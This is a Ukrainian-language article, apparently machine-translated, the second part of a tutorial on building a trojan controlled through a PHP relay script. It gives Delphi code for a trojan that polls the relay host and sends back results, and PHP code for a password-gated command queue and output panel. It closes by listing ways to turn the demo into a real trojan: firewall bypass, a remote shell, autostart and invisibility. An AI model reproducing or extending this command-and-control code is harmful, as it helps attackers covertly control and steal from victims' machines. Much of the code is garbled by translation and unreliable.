Управління трояном через скрипт-посередник №2

Код, який реалізує це, виглядає так:

// спочатку черга порожня
request: = »;
// цикл роботи трояна
while true do
begin
// відсилаємо скрипту запит
if (SendStringViaHTTP ( '127.0.0.1', 'test1.ru', 80, '/index.php', request, answer)<>0) then
begin
// якщо відіслати не вдалося - чекаємо хвилину і крутимо наступну ітерацію
sleep (1000 * SEC);
continue;
end;
// якщо відіслати вдалося - перевіримо answer
if (answer = ») then
begin
// команд від хакера немає - очистимо
reques,
// чекаємо хвилину і крутимо наступну ітерацію
request: = »;
sleep (1000 * SEC);
continue;
end;
// якщо управління дійшло сюди - в answer у нас команда хакера
// виконуємо команду
request: = DoCommand (answer);
end;

Тут answer і request у нас глобальні змінні типу AnsiString. У answer знаходиться чергова команда хакера, яку передав скрипт. Команду виконує функція DoCommand (про неї ми поговоримо трохи
пізніше). Та ж функція повертає результати виконання команди, які заносяться в request і негайно передаються скрипту. Якщо команд від скрипта не надходило, троян «засинає» на SEC секунд, а потім знову шле запит скрипту.

Тепер про функції DoCommand і про самих командах. Що б не робити з нашого прикладу справжній троян (КК-то ще діє;)), на будь-яку команду, передану хакером, троян відповідатиме текстом типу:

23.06.05 1:30:14] Прийнята до виконання команда: dir
Результат виконання:
Троян не справжній;), тому замість результату виконання команди dir виводить цей текст! ;))

Таким чином наш «троян» не виконує ніяких команд, він лише повідомляє, коли і яку
команду прийняв від скрипта. Як бачимо, все цілком цивільно - нешкідлива програма демонструє принцип;)))

// функція виконує команду і
повертає результат виконання
function DoCommand (comm: AnsiString): AnsiString;
var
systime: SYSTEMTIME;
begin
// перевіримо, чи є там взагалі команда
if comm = "then
begin
// нет - повернемо порожній рядок
Result: = »;
exit;
end;
// якщо управління дійшло сюди, значить команда є
// зафіксуємо час надходження команди на виконання
Result: = StringOfChar ( '', 8 + 1 + 8); // 8 на dd.MM.yy, 1 на пробіл, 8 на HH: mm: ss
GetLocalTime (systime);
GetDateFormat (0, 0, @systime, 'dd.MM.yy', @Result [1], 8);
GetTimeFormat (0, 0, @systime, 'HH: mm: ss', @Result [10], 8);
// зафіксуємо команду, яка прийшла на виконання
Result: = Result + '] Прийнята до виконання команда: '+ Comm +'
';
// повідомлення про результат виконання:
Result: = Result + 'Результат виконання:
';
// якби це був справжній троян, тут би виконувалася передана
// команда і ми б дописали результат її виконання в кінець
Result,
// але тому це лише приклад, ми допишемо туди тільки цей текст:
Result: = Result + 'Троян не справжній;), тому замість результату' +
'Виконання команди '+ Comm +' виводить цей текст! ;))
';
end;

Думаю, ніяких додаткових пояснень до наведеного коду не потрібно. Уффф ... з трояном ми начебто
розібралися. Перейдемо тепер до скрипту посереднику.

Скрипт-посередник напишемо на PHP. По-перше безкоштовний хостинг з PHP - це дійсно не проблема. По-друге PHP схожий на C ++, що само по собі не може не радувати 😉

Перш за все, скрипт повинен знати пароль трояна, тому на самому початку скрипта визначимо змінну:

$ TROJAN_PSW = '<тут пароль трояна>';

При кожному зверненні скрипт повинен перевіряти, чи не троян чи до нього звернувся. Для цього достатньо подивитися поле заголовка User-Agent:

if ($ _ SERVER [ 'HTTP_USER_AGENT'] == $ TROJAN_PSW) // запит надіслав троян - обробляємо!
... ... ...
>;

Обробляючи запит трояна, спочатку подивимося, надіслав він якісь дані. Для цього перевіримо, переданий чи
скрипту параметр data. Якщо data переданий і це не порожній рядок - допишемо його в кінець файлу trojan.txt. Коли скрипт буде обробляти запит хакера, він через web-інтерфейс віддасть йому вміст файлу trojan.txt.

if (isset ($ _ POST [ 'data'])) // є параметр data!
$ Data = $ _POST [ 'data'];
if ($ data! = ») // рядок в $ data не порожня - допишемо її
в
// файл trojan.txt
$ F = fopen ( 'trojan.txt', 'a +');
fwrite ($ f, $ data. »
»);
fclose ($ f);
>;
>;

Далі нам необхідно передати трояни чергову
команду від хакера. Команди, які хакер передає скрипту, зберігаються в текстовому файлі hacker.txt. Тому ми для початку перевіримо, чи існує файл hacker.txt взагалі:

if (file_exists ( 'hacker.txt')) // файл існує - працюємо з ним
... ... ...
>;

У кожному рядку файлу hacker.txt міститься по одній команді. Це дуже зручно, тому що ми повинні віддавати трояни якраз по одній команді за запит. Причому в тому ж порядку, в якому хакер надсилав ці команди скрипту.

Реалізується це так. Спершу ми зчитуємо файл в масив $ a:

// кожен рядок файлу стає елементом масиву
$ A = file ( 'hacker.txt');

Потім перевіряємо, чи не порожній чи масив - адже файл hacker.txt може існувати, але бути порожнім. Якщо масив не порожній, ми беремо з нього перший елемент (вірніше нульовий елемент - першу команду в файлі hacker.txt). Перш ніж віддати команду скрипту, ми її «почистимо»: приберемо байти 0x0D, 0x0A (функції addcslashes і replace) і прогалини на початку і кінці (функція trim). Потім ми віддамо «почищену» команду трояни і видалимо hacker.txt:

if (count ($ a)> 0) print trim (str_replace ( '\ r', », str_replace ( '\ n',», (addcslashes ($ a [0], «\ r \ n")))) );
unlink ( 'hacker.txt');
>;

Якщо передана нами команди була єдиною, ми залишимо все як є - при потребі скрипт знову створить файл hacker.txt. Якщо ж крім в hacker.txt були інші команди, створимо цей файл заново і запишемо їх туди - але вже без першої, тому що її віддали скрипту:

// чи є ще команди?
if (count ($ a)> 1) // так! - запишемо їх назад в hacker.txt
$ F = fopen ( 'hacker.txt', 'w');
for ($ i = 1; $ i>;
fclose ($ f);
>;

На цьому робота з трояном завершена - пошлемо йому рядок ''(Адже саме по ній функція трояна SendStringViaHTTP дізнається, що передача даних від скрипта закінчена) і «вб'ємо» скрипт:

В скрипті відразу за кодом, який працює з трояном, слід код, який працює з хакером. Скрипт «дізнається» хакера по паролю, переданому в параметрі psw методом GET або POST. Правильне значення пароля зберігається в
змінної $ HACKER_PSW, яка в скрипті прописана відразу за $ TROJAN_PSW.

Перевірка параметра psw здійснюється так:

Якщо пароль переданий (змінна $ psw існує), перевіримо чи правильний він:

if (isset ($ psw)) if ($ psw == $ HACKER_PSW) // переданий правильний пароль - запит надіслав хакер
// обробляємо
... ... ...
>;
>;

Обробка запиту йде за такою схемою. По-перше перевіримо, чи передав хакер якусь команду. Команди хакера передаються в параметрі cmd, який надсилається скрипту методом POST. Якщо команда від хакера є, обрізаємо в ній справа і зліва прогалини (функція trim) і перевіримо, чи не є команда нового рядка. Якщо не є - допишемо її в кінець файлу hacker.txt (в ньому, як ми вже говорили,
зберігаються команди хакера). Код, який реалізує все це, досить простий:

if (isset ($ _ POST [ 'cmd'])) // так, передав - перевіримо, чи команда не порожня
$ Cmd = trim ($ _ POST [ 'cmd']);
if ($ cmd! = ») // непорожній - запишемо її в файл
$ F = fopen ( 'hacker.txt', 'a +');
fwrite ($ f, $ cmd. »\ n");
fclose ($ f);
>;
>;

Після того, як команда хакера прийнята і збережена, подбаємо про веб-інтерфейсі. Сформуємо «шапку» - верхню частину html-сторінки, яку хакер побачить у своєму браузері. У «шапці» буде розділ HEAD і початок розділу BODY.

У BODY ми пропишемо форму з текстовим полем cmd (сюди хакер буде вводити команди), submit-кнопкою і прихованим полем psw, що містить пароль хакера. Як скрипта-призначення даних форми вкажемо порожній рядок (тобто сам наш скрипт), а в якості методу - POST. Таким чином при кожній відправці даних з форми скрипт крім команди в cmd буде повчати ще й пароль в psw - і таким чином визначати, що команду в cmd йому надіслав хакер.

Код, що формує «шапку», має такий вигляд:

У браузері сформована шапка виглядає приблизно так:

Після «шапки» виведемо вміст файлу trojan.txt. Тут все дуже
просто:

if (file_exists ( 'trojan.txt')) // файл існує
$ A = file ( 'trojan.txt');
// виведемо його
for ($ i = 0; $ i>;
>;

Закінчимо формування сторінки web-інтерфейсу:

Web-інтерфейс трояна матиме приблизно такий вигляд:

Добре, а що якщо наш скрипт викликали випадково? Ну, там, якийсь Вася Пупкін знайшов посилання «гуглом»? Нічого страшного! =) Оскільки при звичайному виклику скрипта ніяких паролів йому не передається, то коди обробки запитів трояна і хакера просто не отримають управління.

Однак спеціально для Васі Пупкіна ми виведемо наступний «змістовний» контент
:-D:

Код, який це робить, розмістимо в самому кінці скрипта:

print "Свободу хомячкам!


Under Construction!


»;

Ну ось, зі скриптом начебто теж розібралися. Можна підводити підсумки.

Звичайно, в статті описаний не повноцінний троян, а програмка-приклад, яка лише демонструє принцип управління трояном через серверний скрипт. Вихідні тексти, до речі, лежать
тут. Програма нормально компілюється під Delphi 7, для PHP-скрипта потрібен інтерпретатор PHP 4.x, можна під Windows.

Звичайно, цей приклад при певній доробці цілком може стати справжнім трояном. У наш троян можна додати додав такі фішки:

  • більш досконалий механізм перевірки з'єднання з і-нетом, визначення проксі (якщо троян потрапив в локальну мережу, яка бачить немає тільки через проксі) і робота через нього;
  • покращена робота з HTTP (хоча б перевірка кодів відповіді сервера);
  • механізм обходу файрволов (впровадження в браузер, дравер або ще щось тип цього);
  • виконання трояном команд (наприклад, віддалена cmd-консоль);
  • автозавантаження, невидимість і ін. фішки, які є в будь-якому троян;

А скрипту б не завадило:

  • генерувати випадкові імен для файлів trojan.txt і
    hacker.txt;
  • запобігати спільний доступ до цих файлів (може трапиться, що і троян і хакер одночасно запустять скрипт-посередник, і тоді дві копії скрипта можуть «посваритися» з-за доступу до файлів);
  • формувати більш зручний і функціональний web-інтерфейс з підтримкою двох фреймів: перший з формою, другий - з даними скрипта, і що б оновлювався автоматично, а повідомлення трояна що б додавалися наверх, як в чатах;
  • виводити якусь додаткову інформацію, а не одні тільки відповіді трояна: наприклад, показувати, які з посланих команд передані трояни, а які ще чекають своєї черги;
  • давати можливість управляти відразу декількома копіями трояна;
  • ще якісь дрібні зручності на зразок приємного дизайну, кнопки «очистити файл trojan.txt» і т.п.

Як бачимо, роботи ще багато. Але це не страшно - адже все в наших руках;))

Покажи цю статтю друзям: